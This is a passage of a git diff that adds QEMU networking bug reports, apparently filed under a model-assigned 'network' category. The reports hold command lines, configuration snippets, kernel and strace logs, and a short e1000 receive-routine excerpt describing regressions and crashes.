and restart the system. +Unfortunately, I have no clue what to do or how to debug this problem since there are no specific errors logged. +I tried two different VMs: Debian Wheezy and IPFire (see attachment for further details). +The QEMU 2.1 changelog states "Support for RTL8168 NICs." so there were some major changes done, I guess. + +On the IPFire guest the kernel log shows many of these lines: +r8169 0000:00:07.0 green1: rtl_eriar_cond == 1 (loop: 100, delay: 100) +r8169 0000:00:07.0 green1: rtl_phy_reset_cond == 1 (loop: 100, delay: 1) + +On the Debian guest there is only: +r8169 0000:00:07.0: firmware: agent loaded rtl_nic/rtl8168e-3.fw into memory +r8169 0000:00:07.0: lan0: link down +ADDRCONF(NETDEV_UP): lan0: link is not ready + +The commandline for IPFire can be seen in the attachment. It is the same for Debian. +There are also the complete kernel logs for the working (2.0) and non-working (2.1) cases. \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1385 b/results/classifier/gemma3:12b/network/1385 new file mode 100644 index 000000000..fb9324aaf --- /dev/null +++ b/results/classifier/gemma3:12b/network/1385 @@ -0,0 +1,2 @@ + +-net option doesn't work diff --git a/results/classifier/gemma3:12b/network/1395217 b/results/classifier/gemma3:12b/network/1395217 new file mode 100644 index 000000000..29282580a --- /dev/null +++ b/results/classifier/gemma3:12b/network/1395217 @@ -0,0 +1,41 @@ + +Networking in qemu 2.0.0 and beyond is not compatible with Open Solaris (Illumos) 5.11 + +The networking code in qemu in versions 2.0.0 and beyond is non-functional with Solaris/Illumos 5.11 images. + +Building 1.7.1, 2.0.0, 2.0.2, 2.1.2,and 2.2.0rc1with the following standard Slackware config: + +# From Slackware build tree . . . +./configure \ + --prefix=/usr \ + --libdir=/usr/lib64 \ + --sysconfdir=/etc \ + --localstatedir=/var \ + --enable-gtk \ + --enable-system \ + --enable-kvm \ + --disable-debug-info \ + --enable-virtfs \ + --enable-sdl \ + --audio-drv-list=alsa,oss,sdl,esd \ + --enable-libusb \ + --disable-vnc \ + --target-list=x86_64-linux-user,i386-linux-user,x86_64-softmmu,i386-softmmu \ + --enable-spice \ + --enable-usb-redir + + +And attempting to run the same VM image with the following command (or via virt-manager): + +macaddress="DE:AD:BE:EF:3F:A4" + +qemu-system-x86_64 nex4x -cdrom /dev/cdrom -name "Nex41" -cpu Westmere +-machine accel=kvm -smp 2 -m 4000 -net nic,macaddr=$macaddress -net bridge,br=b +r0 -net dump,file=/usr1/tmp/<FILENAME> -drive file=nex4x_d1 -drive file=nex4x_d2 + -enable-kvm + +Gives success on 1.7.1, and a deaf VM on all subsequent versions. + +Notable in validating my config, is that a Windows 7 image runs cleanly with networking on *all* builds, so my configuration appears to be good - qemu just hates Solaris at this point. + +Watching with wireshark (as well as pulling network traces from qemu as noted above) it appears that the notable difference in the two configs is that for some reason, Solaris gets stuck arping for it's own interface on startup, and never really comes on line on the network. If other hosts attempt to ping the Solaris instance, they can successfully arp the bad VM, but not the other way around. \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1402755 b/results/classifier/gemma3:12b/network/1402755 new file mode 100644 index 000000000..52201bafb --- /dev/null +++ b/results/classifier/gemma3:12b/network/1402755 @@ -0,0 +1,64 @@ + +qemu-kvm: e1000 RX ring is filled with partial-pkt of size 0 + +Hello, +We are using CentOS 6.5 with qemu-kvm-0.12.1.2-2.415 as a host of or VMs. +In the VM we use e1000 as the NIC emulation. +We've modified the e1000 driver to our needs. This modification start the RX engine while the RX ring is empty (RDH == RDT) +and at a later stage we fill the RX descriptors with buffers. This scheme works well on intel chips and VMware. +What we observe in this setup is that from time to time the RX ring is filled with "partial packets" of size 0 (meaning, DD bit is set, +No other status bits are set and packet size is also 0). + +Looking at the e1000 RX routine in qemu-kvm you can observe the following flow: +1. A packet is avail for receive: +2. The routine checks for RCTL_EN - it is enabled +3. The routine checks that the RDH equal RDT (they are as the ring is empty) but also checks if rxov is on (it is still off) so it doesn’t +Exit as it is supposed to. +4. The routine now updates the descriptor status with the DD bit (and vlan which we don’t care) +5. The routine checks if a buffer address is not NULL (it is as NULL since we haven’t filled it yet) – so is logs something. +6. The routine now updates the guest memory with this value (DD is 1) +7. The routine updates the check_rxov flag in order to allow ovf check the next time around. +(but ovf will not occur since in the next iteration RDH != RDT) +8. The routine loops over all the descriptors with the NULL buffer (which is all our ring) and writes the DD bit +9. We get this endless partial packet problem we see. + +qemu-kvm-0.12.1.2-2.415.el6_5.3/qemu-kvm-0.12.1.2/hw/e1000.c +static ssize_t +e1000_receive(VLANClientState *nc, const uint8_t *buf, size_t size) +{ +: : : +if (!(s->mac_reg[RCTL] & E1000_RCTL_EN)) +return -1; + +: : : +do { +if (s->mac_reg[RDH] == s->mac_reg[RDT] && s->check_rxov) { +set_ics(s, 0, E1000_ICS_RXO); +return -1; +} +base = ((uint64_t)s->mac_reg[RDBAH] << 32) + s->mac_reg[RDBAL] + +sizeof(desc) * s->mac_reg[RDH]; +cpu_physical_memory_read(base, (void *)&desc, sizeof(desc)); +desc.special = vlan_special; +desc.status |= (vlan_status | E1000_RXD_STAT_DD); +if (desc.buffer_addr) { +cpu_physical_memory_write(le64_to_cpu(desc.buffer_addr), +(void *)(buf + vlan_offset), size); +desc.length = cpu_to_le16(size); +desc.status |= E1000_RXD_STAT_EOP|E1000_RXD_STAT_IXSM; +} else // as per intel docs; skip descriptors with null buf addr +DBGOUT(RX, "Null RX descriptor!!\n"); +cpu_physical_memory_write(base, (void *)&desc, sizeof(desc)); + +: : : +if (++s->mac_reg[RDH] * sizeof(desc) >= s->mac_reg[RDLEN]) +s->mac_reg[RDH] = 0; +s->check_rxov = 1; +: : : +} while (desc.buffer_addr == 0); +} + + +A workaround is to enable the RX machine only after the descriptor ring is filled for the first time. + +Moti \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1404278 b/results/classifier/gemma3:12b/network/1404278 new file mode 100644 index 000000000..c1e67f21b --- /dev/null +++ b/results/classifier/gemma3:12b/network/1404278 @@ -0,0 +1,11 @@ + +tap connections not working on windows host + +using latest qemu 2.2.0 64bit for windows host (installed from qemu-w64-setup-20141210.exe obtained from http://qemu.weilnetz.de/w64/ ),OpenVPN 2.6.3-I601 64bit tap adapter named tap01 and calling qemu using the following. + +qemu-system-x86_64.exe -m 512 -net nic -net tap,ifname=tap01 -hda "c:\\data\\images\\test.img" + +where the image contains a slackware 14.0 64bit install. +The tap is bridged with the real network adapter and the bridge is given an ip of 10.1.1.41 (which works as the ip for the windows host). The tap adapter (in network connections) shows connected when the qemu vm is running. inside the vm, the network is given an ip of 10.1.1.143 (the netmask and default gateway are the same for the virtual and real pc). +fault. +The vm cannot see the rest of the local network or visa-versa. This used to work in early (0.9 32bit) versions of qemu. \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1405385 b/results/classifier/gemma3:12b/network/1405385 new file mode 100644 index 000000000..662e6fd29 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1405385 @@ -0,0 +1,81 @@ + +QEMU crashes when virtio network cards are used together with e1000 network cards + +QEMU version: QEMU emulator version 2.2.50, Copyright (c) 2003-2008 Fabrice Bellard +QEMU GIT version: ab0302ee764fd702465aef6d88612cdff4302809 +Configure flags: ./configure --enable-kvm --prefix=/opt/qemu-devel +Linux version: Ubuntu 14.04.1 LTS +Kernel version: 3.13.0-43-generic #72-Ubuntu SMP Mon Dec 8 19:35:06 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux + +Problem: + + QEMU crashes when using one (or more) virtio network cards together with one (or more) e1000 (and possibly others) network cards when those cards are bound to a linux bridge. When the cards are *not* bound to a bridge QEMU does not crash. + +Bridge configuration: + + iface bridge0 inet dhcp + bridge_ports eth1 + bridge_stp off + bridge_fd 0 + +Start-up command (including binding the network cards to the bridge + strace logging): + +./qemu-system-x86_64 -daemonize -smp 1 -m 128 -vnc 0.0.0.0:0 \ +-netdev tap,id=tap_1,script=no,downscript=no,ifname=net_1_1,vhost=on \ +-device virtio-net-pci,bootindex=1,id=nic_1,netdev=tap_1,mac=02:16:3F:00:00:FA \ +-netdev tap,id=tap_2,script=no,downscript=no,ifname=net_1_2 \ +-device e1000,bootindex=2,id=nic_2,netdev=tap_2,mac=02:16:3F:00:00:FB; \ +brctl addif bridge0 net_1_1; \ +brctl addif bridge0 net_1_2; \ +ifconfig net_1_1 0.0.0.0 up; \ +ifconfig net_1_2 0.0.0.0 up; \ +sleep 2; \ +strace -p `ps x |grep qemu-system-x86_64 |grep -v grep|awk '{print $1}'` -o /tmp/qemu-devel-trace.txt + +Kernel log: + +Dec 24 11:12:08 bramws kernel: [12466.885581] device net_1_1 entered promiscuous mode +Dec 24 11:12:08 bramws kernel: [12466.886238] device net_1_2 entered promiscuous mode +Dec 24 11:12:08 bramws kernel: [12466.887084] bridge0: port 2(net_1_1) entered forwarding state +Dec 24 11:12:08 bramws kernel: [12466.887089] bridge0: port 2(net_1_1) entered forwarding state +Dec 24 11:12:08 bramws kernel: [12466.888940] bridge0: port 3(net_1_2) entered forwarding state +Dec 24 11:12:08 bramws kernel: [12466.888947] bridge0: port 3(net_1_2) entered forwarding state +Dec 24 11:12:29 bramws kernel: [12488.026376] bridge0: port 2(net_1_1) entered disabled state +Dec 24 11:12:29 bramws kernel: [12488.026820] device net_1_1 left promiscuous mode +Dec 24 11:12:29 bramws kernel: [12488.026832] bridge0: port 2(net_1_1) entered disabled state +Dec 24 11:12:29 bramws kernel: [12488.049636] bridge0: port 3(net_1_2) entered disabled state +Dec 24 11:12:29 bramws kernel: [12488.050058] device net_1_2 left promiscuous mode +Dec 24 11:12:29 bramws kernel: [12488.050074] bridge0: port 3(net_1_2) entered disabled state + +Strace log: (full log attached) + +ppoll([{fd=13, events=POLLIN|POLLERR|POLLHUP}, {fd=7, events=POLLIN|POLLERR|POLLHUP}, {fd=12, events=POLLIN|POLLERR|POLLHUP}, {fd=3, events=POLLIN|POLLERR|POLLHUP}, {fd=6, events=POLLIN}, {fd=5, events=POLLIN}], 6, {0, 28646613}, NULL, 8) = 0 (Timeout) +write(5, "\1\0\0\0\0\0\0\0", 8) = 8 +ppoll([{fd=13, events=POLLIN|POLLERR|POLLHUP}, {fd=7, events=POLLIN|POLLERR|POLLHUP}, {fd=12, events=POLLIN|POLLERR|POLLHUP}, {fd=3, events=POLLIN|POLLERR|POLLHUP}, {fd=6, events=POLLIN}, {fd=5, events=POLLIN}], 6, {0, 10899760}, NULL, 8) = 1 ([{fd=5, revents=POLLIN}], left {0, 10895457}) +write(6, "\1\0\0\0\0\0\0\0", 8) = 8 +read(5, "\1\0\0\0\0\0\0\0", 512) = 8 +write(6, "\1\0\0\0\0\0\0\0", 8) = 8 +ppoll([{fd=13, events=POLLIN|POLLERR|POLLHUP}, {fd=7, events=POLLIN|POLLERR|POLLHUP}, {fd=12, events=POLLIN|POLLERR|POLLHUP}, {fd=3, events=POLLIN|POLLERR|POLLHUP}, {fd=6, events=POLLIN}, {fd=5, events=POLLIN}], 6, {0, 0}, NULL, 8) = 1 ([{fd=6, revents=POLLIN}], left {0, 0}) +ppoll([{fd=13, events=POLLIN|POLLERR|POLLHUP}, {fd=7, events=POLLIN|POLLERR|POLLHUP}, {fd=12, events=POLLIN|POLLERR|POLLHUP}, {fd=3, events=POLLIN|POLLERR|POLLHUP}, {fd=6, events=POLLIN}, {fd=5, events=POLLIN}], 6, {0, 0}, NULL, 8) = 1 ([{fd=6, revents=POLLIN}], left {0, 0}) +read(6, "\2\0\0\0\0\0\0\0", 16) = 8 +ppoll([{fd=13, events=POLLIN|POLLERR|POLLHUP}, {fd=7, events=POLLIN|POLLERR|POLLHUP}, {fd=12, events=POLLIN|POLLERR|POLLHUP}, {fd=3, events=POLLIN|POLLERR|POLLHUP}, {fd=6, events=POLLIN}, {fd=5, events=POLLIN}], 6, {0, 0}, NULL, 8) = 0 (Timeout) +read(6, 0x7fff697320e0, 16) = -1 EAGAIN (Resource temporarily unavailable) +ppoll([{fd=13, events=POLLIN|POLLERR|POLLHUP}, {fd=7, events=POLLIN|POLLERR|POLLHUP}, {fd=12, events=POLLIN|POLLERR|POLLHUP}, {fd=3, events=POLLIN|POLLERR|POLLHUP}, {fd=6, events=POLLIN}, {fd=5, events=POLLIN}], 6, {0, 9570429}, NULL, 8) = 0 (Timeout) +futex(0x7f011c8ef094, FUTEX_CMP_REQUEUE_PRIVATE, 1, 2147483647, 0x7f011aaa0860, 224) = 1 +write(5, "\1\0\0\0\0\0\0\0", 8) = 8 +write(5, "\1\0\0\0\0\0\0\0", 8) = 8 +futex(0x7f011aaa0860, FUTEX_WAKE_PRIVATE, 1) = 1 +ppoll([{fd=13, events=POLLIN|POLLERR|POLLHUP}, {fd=7, events=POLLIN|POLLERR|POLLHUP}, {fd=12, events=POLLIN|POLLERR|POLLHUP}, {fd=3, events=POLLIN|POLLERR|POLLHUP}, {fd=6, events=POLLIN}, {fd=5, events=POLLIN}], 6, {0, 54463396}, NULL, 8) = 1 ([{fd=5, revents=POLLIN}], left {0, 54459649}) +tgkill(7779, 7784, SIGUSR1) = 0 +futex(0x7f011aaa0824, FUTEX_CMP_REQUEUE_PRIVATE, 1, 2147483647, 0x7f011aaa0860, 1650) = 1 +write(6, "\1\0\0\0\0\0\0\0", 8) = 8 +read(5, "\2\0\0\0\0\0\0\0", 512) = 8 +write(6, "\1\0\0\0\0\0\0\0", 8) = 8 +ppoll([{fd=13, events=POLLIN|POLLERR|POLLHUP}, {fd=7, events=POLLIN|POLLERR|POLLHUP}, {fd=12, events=POLLIN|POLLERR|POLLHUP}, {fd=3, events=POLLIN|POLLERR|POLLHUP}, {fd=6, events=POLLIN}, {fd=5, events=POLLIN}], 6, {0, 0}, NULL, 8) = 1 ([{fd=6, revents=POLLIN}], left {0, 0}) +ppoll([{fd=13, events=POLLIN|POLLERR|POLLHUP}, {fd=7, events=POLLIN|POLLERR|POLLHUP}, {fd=12, events=POLLIN|POLLERR|POLLHUP}, {fd=3, events=POLLIN|POLLERR|POLLHUP}, {fd=6, events=POLLIN}, {fd=5, events=POLLIN}], 6, {0, 0}, NULL, 8) = 1 ([{fd=6, revents=POLLIN}], left {0, 0}) +read(6, "\2\0\0\0\0\0\0\0", 16) = 8 +ppoll([{fd=13, events=POLLIN|POLLERR|POLLHUP}, {fd=7, events=POLLIN|POLLERR|POLLHUP}, {fd=12, events=POLLIN|POLLERR|POLLHUP}, {fd=3, events=POLLIN|POLLERR|POLLHUP}, {fd=6, events=POLLIN}, {fd=5, events=POLLIN}], 6, {0, 0}, NULL, 8) = 0 (Timeout) +read(6, 0x7fff697320e0, 16) = -1 EAGAIN (Resource temporarily unavailable) +futex(0x7f011aaa0860, FUTEX_WAKE_PRIVATE, 1) = 1 +ppoll([{fd=13, events=POLLIN|POLLERR|POLLHUP}, {fd=7, events=POLLIN|POLLERR|POLLHUP}, {fd=12, events=POLLIN|POLLERR|POLLHUP}, {fd=3, events=POLLIN|POLLERR|POLLHUP}, {fd=6, events=POLLIN}, {fd=5, events=POLLIN}], 6, {0, 53843633}, NULL, 8 <unfinished ...> ++++ killed by SIGABRT +++ \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1414466 b/results/classifier/gemma3:12b/network/1414466 new file mode 100644 index 000000000..d8553fcfe --- /dev/null +++ b/results/classifier/gemma3:12b/network/1414466 @@ -0,0 +1,45 @@ + +-net user,hostfwd=... is not working + +QEMU version: git a46b3aaf6bb038d4f6f192a84df204f10929e75c + + /opt/qemu.git/bin/qemu-system-aarch64 --version +QEMU emulator version 2.2.50, Copyright (c) 2003-2008 Fabrice Bellard + +Hosts: +ovs - host machine (Ubuntu 14.04.1, x86_64) +debian8-arm64 - guest + +Guest start: +user@ovs:~$ /opt/qemu.git/bin/qemu-system-aarch64 -machine virt -cpu cortex-a57 -nographic -smp 1 -m 512 -kernel vmlinuz-run -initrd initrd-run.img -append "root=/dev/sda2 console=ttyAMA0" -global virtio-blk-device.scsi=off -device virtio-scsi-device,id=scsi -drive file=debian8-arm64.img,id=rootimg,cache=unsafe,if=none -device scsi-hd,drive=rootimg -netdev user,id=unet -device virtio-net-device,netdev=unet -net user,hostfwd=tcp:127.0.0.1:1122-:22 + +root@debian8-arm64:~# netstat -ntplu | grep ssh +tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 410/sshd +tcp6 0 0 :::22 :::* LISTEN 410/sshd + +(no firewall in guest vm) + +user@ovs:~$ netstat -ntplu | grep 1122 +tcp 0 0 127.0.0.1:1122 0.0.0.0:* LISTEN 18722/qemu-system-a + +user@ovs:~$ time ssh user@127.0.0.1 -p 1122 +ssh_exchange_identification: read: Connection reset by peer + +real 1m29.341s +user 0m0.005s +sys 0m0.000s + +Inside guest vm sshd works fine: +root@debian8-arm64:~# ssh user@127.0.0.1 -p 22 +user@127.0.0.1's password: +.... +user@debian8-arm64:~$ exit +logout +Connection to 127.0.0.1 closed. + +root@debian8-arm64:~# ssh user@10.0.2.15 -p 22 +user@10.0.2.15's password: +... +user@debian8-arm64:~$ exit +logout +Connection to 10.0.2.15 closed. \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1424237 b/results/classifier/gemma3:12b/network/1424237 new file mode 100644 index 000000000..2ec54bf59 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1424237 @@ -0,0 +1,46 @@ + +missing manpage for bridge.conf + +There's currently no (easy) way to figure out the form of content of `/etc/qemu/bridge.conf`. Some howtos (e.g. https://wiki.archlinux.org/index.php/QEMU#Bridged_networking_using_qemu-bridge-helper) mention `bridge.conf.sample` which is not available according to `apt-file` and the official wiki at wiki.qemu.org doesn't mention the file at all, it seems necessary, though, because specification of `-net nic -net bridge,br=bridge0` fails with `failed to get mtu of bridge `bridge0': No such device` (can't be investigated further because setup is completely unclear). + +ProblemType: Bug +DistroRelease: Ubuntu 14.10 +Package: qemu 2.1+dfsg-4ubuntu6.4 +Uname: Linux 3.19.0-031900-generic x86_64 +ApportVersion: 2.14.7-0ubuntu8.2 +Architecture: amd64 +CurrentDesktop: Unity +Date: Sat Feb 21 19:39:07 2015 +EcryptfsInUse: Yes +InstallationDate: Installed on 2015-01-26 (25 days ago) +InstallationMedia: Ubuntu 14.10 "Utopic Unicorn" - Release amd64 (20141022.1) +KvmCmdLine: + COMMAND STAT EUID RUID PID PPID %CPU COMMAND + kvm-irqfd-clean S< 0 0 1026 2 0.0 [kvm-irqfd-clean] + qemu-system-x86 Sl+ 0 0 25905 25904 11.9 qemu-system-x86_64 -boot c -hda ubuntu.img -m 2048 -smp 16 -enable-kvm -vnc :0,abc -k de -drive file=/dev/sda14,if=ide -net nic -net bridge,br=bridge0 + kvm-pit/25905 S 0 0 25948 2 0.0 [kvm-pit/25905] +MachineType: LENOVO 20221 +ProcEnviron: + TERM=xterm + PATH=(custom, no user) + XDG_RUNTIME_DIR=<set> + LANG=de_DE.UTF-8 + SHELL=/bin/bash +ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-3.19.0-031900-generic root=UUID=ac20c93a-0ec5-445a-98cd-941f0fbc0e50 ro rootflags=subvol=@ +SourcePackage: qemu +UpgradeStatus: No upgrade log present (probably fresh install) +dmi.bios.date: 07/12/2013 +dmi.bios.vendor: LENOVO +dmi.bios.version: 71CN51WW(V1.21) +dmi.board.asset.tag: No Asset Tag +dmi.board.name: INVALID +dmi.board.vendor: LENOVO +dmi.board.version: 31900003WIN8 STD MLT +dmi.chassis.asset.tag: No Asset Tag +dmi.chassis.type: 10 +dmi.chassis.vendor: LENOVO +dmi.chassis.version: Lenovo IdeaPad Z500 Touch +dmi.modalias: dmi:bvnLENOVO:bvr71CN51WW(V1.21):bd07/12/2013:svnLENOVO:pn20221:pvrLenovoIdeaPadZ500Touch:rvnLENOVO:rnINVALID:rvr31900003WIN8STDMLT:cvnLENOVO:ct10:cvrLenovoIdeaPadZ500Touch: +dmi.product.name: 20221 +dmi.product.version: Lenovo IdeaPad Z500 Touch +dmi.sys.vendor: LENOVO \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1440 b/results/classifier/gemma3:12b/network/1440 new file mode 100644 index 000000000..60f6454e0 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1440 @@ -0,0 +1,2 @@ + +block/curl.c uses curl features deprecated in curl 7.55.0 and 7.85.0 diff --git a/results/classifier/gemma3:12b/network/1441443 b/results/classifier/gemma3:12b/network/1441443 new file mode 100644 index 000000000..77cfb70b8 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1441443 @@ -0,0 +1,34 @@ + +Is there a way to create a 10G network interface for VMs in KVM2.0? + + + +We have installed & configured the KVM 2.0 (qemu-kvm 2.0.0+dfsg-2ubuntu1.10) on Ubuntu 14.04. The physical server is connected to 10G network, KVM is configured in Bridged mode But the issue is, when we create Network interface on VMs, we have only 1G device as an options for vmhosts. Is this the limit of the KVM or is there a way to create a 10G network interface for VMs? Available device models + +E1000 +Ne2k_pci +Pcnet +Rtl8139 +virtio + +Please find the network configuration details + +Source device : Host device vnet1 (Bridge ‘br0’) +Device model : virtio + +Network configuration in the host /etc/network/interfaces + +auto br0 +iface br0 inet static + address 10.221.x.10 + netmask 255.255.255.0 + network 10.221.x.0 + broadcast 10.221.x.255 + gateway 10.221.x.1 + # dns-* options are implemented by the resolvconf package, if installed + dns-nameservers X.X.X.X + dns-search XXX.NET + bridge_ports em1 + bridge_fd 0 + bridge_stp off + bridge_maxwait 0 \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1451 b/results/classifier/gemma3:12b/network/1451 new file mode 100644 index 000000000..879b366ab --- /dev/null +++ b/results/classifier/gemma3:12b/network/1451 @@ -0,0 +1,2 @@ + +Assertion failure: virtio_net_get_subqueue(nc)->async_tx.elem failed. diff --git a/results/classifier/gemma3:12b/network/1451067 b/results/classifier/gemma3:12b/network/1451067 new file mode 100644 index 000000000..b6aed6be6 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1451067 @@ -0,0 +1,36 @@ + +-smb option requires full path for Samba sharing to work + +This issue has been reported on qemu-devel a looong time ago: https://lists.gnu.org/archive/html/qemu-devel/2005-12/msg00141.html + +QEMU version 2.2.1-4 on Arch Linux x86_64 + +Steps to reproduce: + +host$ mkdir share +host$ chmod o+rwx share +host$ qemu <other options> -smb share + +vm$ smbclient //10.0.2.4/qemu -N +smbclient: Can't load /etc/samba/smb.conf - run testparm to debug it +Domain=[WORKGROUP] OS=[Windows 6.1] Server=[Samba 4.2.1] +tree connect failed: NT_STATUS_BAD_NETWORK_NAME +vm$ poweroff + +Workaround: + +host$ qemu <other options> -smb /full/path/to/share + +vm$ $ smbclient //10.0.2.4/qemu -N +smbclient: Can't load /etc/samba/smb.conf - run testparm to debug it +Domain=[WORKGROUP] OS=[Windows 6.1] Server=[Samba 4.2.1] +smb: \> ls + . D 0 Sat May 2 19:57:31 2015 + .. D 0 Sat May 2 19:57:31 2015 + + 961302540 blocks of size 1024. 637557248 blocks available +smb: \> quit + +Please, please fix this gotcha, whether in the documentation or in code. it can cause some serious bouts of hair-pulling. + +-Alain \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1461918 b/results/classifier/gemma3:12b/network/1461918 new file mode 100644 index 000000000..52e40a2eb --- /dev/null +++ b/results/classifier/gemma3:12b/network/1461918 @@ -0,0 +1,19 @@ + +guest hangs after use ethtool to set scatter-gather on + +On the guests, i have a rtl8139 nic, I use ethtool to set scatter-gather on ( ethtool -K eth0 sg on ), +after that, at host side, I use scp to send a file into guest. As a result, guest hang. +At that point qemu is using 100% of one host CPU, about 100% guest. + +If guest is centOS6.5， with no problem. + + + +The guest system is Fedora release 19(Kernel 3.11.10-200.fc19.x86_64). + +host system is debian 7.1. +Kernel:3.10.0 +Qemu: 2.3.0 + +cmd: +/boot/qemu-2.3.0-bin/qemu-system-x86_64 -vnc :13 -enable-kvm -name fedora -smp sockets=1,cores=2 -cpu core2duo -nodefaults -vga cirrus -k en-us -boot menu=on,splash-time=8000 -m 2048 -usb -drive file=/boot/vm-disk-1.qcow2,if=none,id=drive-ide0,cache=none,aio=native -device ide-hd,bus=ide.0,unit=0,drive=drive-ide0,id=ide0,bootindex=100 -netdev type=tap,id=net0,ifname=200,script=/etc/kvm/vtp-bridge -device rtl8139,romfile=,mac=FE:FC:FE:5C:58:65,netdev=net0,bus=pci.0,addr=0x12,id=net0 \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1463909 b/results/classifier/gemma3:12b/network/1463909 new file mode 100644 index 000000000..6cc2848eb --- /dev/null +++ b/results/classifier/gemma3:12b/network/1463909 @@ -0,0 +1,62 @@ + +virtio: networking not working when guest's eth0 is not in promiscuous mode + +We are unable to get http responses from qemu guest machine until interface inside qemu guest machine is in promiscuous mode. + +Our configuration is following: + +<pre> + ------------------------ + | Host server | + ------------------------ + | /eth1.10(IP1) | +LAN2-|-eth1-eth1.11(IP2) | + | \eth1.12(IP3) | + | | +LAN1-|-eth0(IP4) <IP[1-4]> | + | / | + | iptables[nat] | + | / ________________ + | | | Guest system | + | tap0-|-eth0(guestIP)| + ------------------------ +</pre> + +Host server is connected to LAN1 with eth0 and to LAN2 with eth1. eth0 has IP4 assigned. eth1 is connected to the switch in trunk mode that has vlans 10, 11 and 12 allows. Thus in Host systems we have eth1.10, eth1.11 and eth1.12 interfaces with IP1, IP2 and IP3 respectfully. + +Inside Host systems we start Guest system using following command: + +> qemu-system-x86_64 -m 3G -nographic -monitor stdio -serial none -kernel /vmlinuz -initrd /webiface.gz -hda /data/data.img -net nic,model=virtio,macaddr=fe:32:31:30:29:00 -net tap,ifname=tap0,script=no,downscript=no + +tap interface was created with commands: +> ip tuntap add dev tap0 mode tap user user +> ip addr add 172.31.31.253/30 brd + dev tap0 +> ip link set dev tap0 up + + +Routing for packets comming from LAN1 or LAN2 to guest system is identical and is done by iptables DNAT target: + +> iptables -t nat -A PREROUTING -d <IP1> -p tcp --dport 8580 -j DNAT --to-destination <guest IP>:80 +... +> iptables -t nat -A PREROUTING -d <IP4> -p tcp --dport 8580 -j DNAT --to-destination <guest IP>:80 + +Now the problem is that requests for @http://<IP4>:8580/index.html@ stall, until we put eth0 on Guest system in promiscuous mode. Note this concerns only packets coming through eth0 on Host system. Requests for @http://<IP[1-3]>:8580/index.html@ work as the should! + +It is really strange how promiscuous mode of the interface on guest system affects the way it receives packets. So we did further debuging with tcpdump. + +For interesting (broken) case when packets arrive through eth0 of Host system, using tcpdump, we found that syn requests are coming out at tap0 interface: + +> 12:40:11.049007 c2:30:61:72:8d:14 > fe:32:31:30:29:00, ethertype IPv4 (0x0800), length 74: <IP>.45661 > <guestIP>.80: Flags [S], seq 1998302974, win 29200, options [mss 1352,sackOK,TS val 3509464 ecr 0,nop,wscale 7], length 0 + +but no packet arrives on guest's eth0 interface! We confirmed that with tcpdump running with promiscuous mode disabled. So packets gone out from tap0 but never archived eth0 of the Guest system! Of course, once we run tcpdump without -p, guest interface will run in promiscuous mode and all packets/traffic will be visible on Guest also and everything works as expected. + +ifconfig shows no drops on tap0 interface. I've check MAC addresses of tap0(c2:30:61:72:8d:14) and guest's eth0 (fe:32:31:30:29:00). I don't see problem here. + +We've tried with eth1 interface not configured (no vlans) and still have this problem. + +This is Ubuntu 12.04.4 LTS server system with 3.2.0-67-generic kernel and QEMU emulator version 1.0 (qemu-kvm-1.0), Copyright (c) 2003-2008 Fabrice Bellard. + +Googling we found that similar problem was reported with much older system (but very few details unfortunately): +http://www.serverphorums.com/read.php?12,28222 + +We failed to find any confirmation that this problem was fixed in newer version. Is this a known bug? Any suggestions how to debug? \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1467240 b/results/classifier/gemma3:12b/network/1467240 new file mode 100644 index 000000000..ca45be4de --- /dev/null +++ b/results/classifier/gemma3:12b/network/1467240 @@ -0,0 +1,25 @@ + +Regression - bridged networking broken for Mac OS X guest + +Using the instructions at http://www.contrib.andrew.cmu.edu/~somlo/OSXKVM/ for running Mac OS X Snow Leopard under QEMU, bridged networking is broken when using QEMU git. The result is that Mac OS X is unable to obtain an IP address using DHCP. It works in the latest stable release - QEMU 2.3.0. + +Replace "-netdev user,id=hub0port0" with "-netdev bridge,br=br0,id=hub0port0" when testing bridged networking. + +Bisecting the git repository shows the following bad commit: +commit a90a7425cf592a3afeff3eaf32f543b83050ee5c +Author: Fam Zheng <email address hidden> +Date: Thu Jun 4 14:45:17 2015 +0800 + + tap: Drop tap_can_send + + This callback is called by main loop before polling s->fd, if it returns + false, the fd will not be polled in this iteration. + + This is redundant with checks inside read callback. After this patch, + the data will be sent to peer when it arrives. If the device can't + receive, it will be queued to incoming_queue, and when the device status + changes, this queue will be flushed. + + Signed-off-by: Fam Zheng <email address hidden> + Message-id: <email address hidden> + Signed-off-by: Stefan Hajnoczi <email address hidden> \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1469946 b/results/classifier/gemma3:12b/network/1469946 new file mode 100644 index 000000000..956b21f6a --- /dev/null +++ b/results/classifier/gemma3:12b/network/1469946 @@ -0,0 +1,40 @@ + +guest can't get IP when create guest with bridge. + +Environment: +------------ +Host OS (ia32/ia32e/IA64):ia32e +Guest OS (ia32/ia32e/IA64):ia32e +Guest OS Type (Linux/Windows):linux +kvm.git Commit:aefbef10e3ae6e2c6e3c54f906f10b34c73a2c66 +qemu.git Commit:dc1e1350f8061021df765b396295329797d66933 +Host Kernel Version:4.1.0 +Hardware:Ivytown_EP, Haswell_EP + + +Bug detailed description: +-------------------------- +when create guest with bridge, the guest can not get ip. + +note: +1. fail rate: 3/5 +2. this is a qemu bug: +kvm + qemu = result +aefbef10 + dc1e1350 = bad +aefbef10 + a4ef02fd = good + +Reproduce steps: +---------------- +1. create guest: +qemu-system-x86_64 -enable-kvm -m 2G -smp 4 -device virtio-net-pci,netdev=net0,mac=$random_mac -netdev tap,id=net0,script=/etc/kvm/qemu-ifup 